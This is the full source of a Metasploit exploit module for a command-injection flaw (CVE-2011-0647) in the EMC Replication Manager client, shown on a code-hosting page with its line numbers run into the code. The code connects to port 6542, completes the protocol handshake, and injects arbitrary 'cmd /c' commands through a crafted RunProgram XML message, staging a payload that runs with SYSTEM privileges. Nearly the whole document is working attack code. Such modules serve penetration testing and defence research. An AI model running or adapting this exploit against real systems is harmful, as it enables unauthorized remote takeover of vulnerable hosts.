Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/emc/replication_manager_exec.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(update_info(info,13'Name' => 'EMC Replication Manager Command Execution',14'Description' => %q{15This module exploits a remote command-injection vulnerability in EMC Replication Manager16client (irccd.exe). By sending a specially crafted message invoking RunProgram function an17attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected18products are EMC Replication Manager < 5.3. This module has been successfully tested19against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft20Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested21against these products.22},23'Author' =>24[25'Unknown', #Initial discovery26'Davy Douhine' #MSF module27],28'License' => MSF_LICENSE,29'References' =>30[31[ 'CVE', '2011-0647' ],32[ 'OSVDB', '70853' ],33[ 'BID', '46235' ],34[ 'URL', 'http://www.securityfocus.com/archive/1/516260' ],35[ 'ZDI', '11-061' ]36],37'DisclosureDate' => '2011-02-07',38'Platform' => 'win',39'Arch' => ARCH_X86,40'Payload' =>41{42'Space' => 4096,43'DisableNops' => true44},45'Targets' =>46[47# Tested on Windows XP and Windows 200348[ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ]49],50'CmdStagerFlavor' => 'vbs',51'DefaultOptions' =>52{53'WfsDelay' => 554},55'DefaultTarget' => 0,56'Privileged' => true57))5859register_options(60[61Opt::RPORT(6542)62])63end6465def exploit66execute_cmdstager({:linemax => 5000})67end6869def execute_command(cmd, opts)70connect71hello = "1HELLOEMC00000000000000000000000"72vprint_status("Sending hello...")73sock.put(hello)74result = sock.get_once || ''75if result =~ /RAWHELLO/76vprint_good("Expected hello response")77else78disconnect79fail_with(Failure::Unknown, "Failed to hello the server")80end8182start_session = "EMC_Len0000000136<?xml version=\"1.0\" encoding=\"UTF-8\"?><ir_message ir_sessionId=0000 ir_type=\"ClientStartSession\" <ir_version>1</ir_version></ir_message>"83vprint_status("Starting session...")84sock.put(start_session)85result = sock.get_once || ''86if result =~ /EMC/87vprint_good("A session has been created. Good.")88else89disconnect90fail_with(Failure::Unknown, "Failed to create the session")91end9293run_prog = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> "94run_prog << "<ir_message ir_sessionId=\"01111\" ir_requestId=\"00000\" ir_type=\"RunProgram\" ir_status=\"0\"><ir_runProgramCommand>cmd /c #{cmd}</ir_runProgramCommand>"95run_prog << "<ir_runProgramAppInfo><?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" "96run_prog << "ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter" IR_groupName="CM1109A1" IR_groupId="1" "97run_prog << ">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;? &gt; &lt;ir_message ir_sessionId=&quot;00000&quot; "98run_prog << "ir_requestId=&quot;00000&quot;ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;aa_anywriter_ccr_node&gt;CM1109A1"99run_prog << "&lt;/aa_anywriter_ccr_node&gt;&lt;aa_anywriter_fail_1018&gt;0&lt;/aa_anywriter_fail_1018&gt;&lt;aa_anywriter_fail_1019&gt;0"100run_prog << "&lt;/aa_anywriter_fail_1019&gt;&lt;aa_anywriter_fail_1022&gt;0&lt;/aa_anywriter_fail_1022&gt;&lt;aa_anywriter_runeseutil&gt;1"101run_prog << "&lt;/aa_anywriter_runeseutil&gt;&lt;aa_anywriter_ccr_role&gt;2&lt;/aa_anywriter_ccr_role&gt;&lt;aa_anywriter_prescript&gt;"102run_prog << "&lt;/aa_anywriter_prescript&gt;&lt;aa_anywriter_postscript&gt;&lt;/aa_anywriter_postscript&gt;&lt;aa_anywriter_backuptype&gt;1"103run_prog << "&lt;/aa_anywriter_backuptype&gt;&lt;aa_anywriter_fail_447&gt;0&lt;/aa_anywriter_fail_447&gt;&lt;aa_anywriter_fail_448&gt;0"104run_prog << "&lt;/aa_anywriter_fail_448&gt;&lt;aa_exchange_ignore_all&gt;0&lt;/aa_exchange_ignore_all&gt;&lt;aa_anywriter_sthread_eseutil&gt;0&"105run_prog << ";lt;/aa_anywriter_sthread_eseutil&gt;&lt;aa_anywriter_required_logs&gt;0&lt;/aa_anywriter_required_logs&gt;&lt;aa_anywriter_required_logs_path"106run_prog << "&gt;&lt;/aa_anywriter_required_logs_path&gt;&lt;aa_anywriter_throttle&gt;1&lt;/aa_anywriter_throttle&gt;&lt;aa_anywriter_throttle_ios&gt;300"107run_prog << "&lt;/aa_anywriter_throttle_ios&gt;&lt;aa_anywriter_throttle_dur&gt;1000&lt;/aa_anywriter_throttle_dur&gt;&lt;aa_backup_username&gt;"108run_prog << "&lt;/aa_backup_username&gt;&lt;aa_backup_password&gt;&lt;/aa_backup_password&gt;&lt;aa_exchange_checksince&gt;1335208339"109run_prog << "&lt;/aa_exchange_checksince&gt; &lt;/ir_message&gt;</IR_groupEntry> </ir_message></ir_runProgramAppInfo>"110run_prog << "<ir_applicationType>anywriter</ir_applicationType><ir_runProgramType>backup</ir_runProgramType> </ir_message>"111run_prog_header = "EMC_Len000000"112run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog113114vprint_status("Executing command....")115sock.put(run_prog_packet)116sock.get_once(-1, 1)117118end_string = Rex::Text.rand_text_alpha(rand(10)+32)119sock.put(end_string)120sock.get_once(-1, 1)121disconnect122123end124end125126127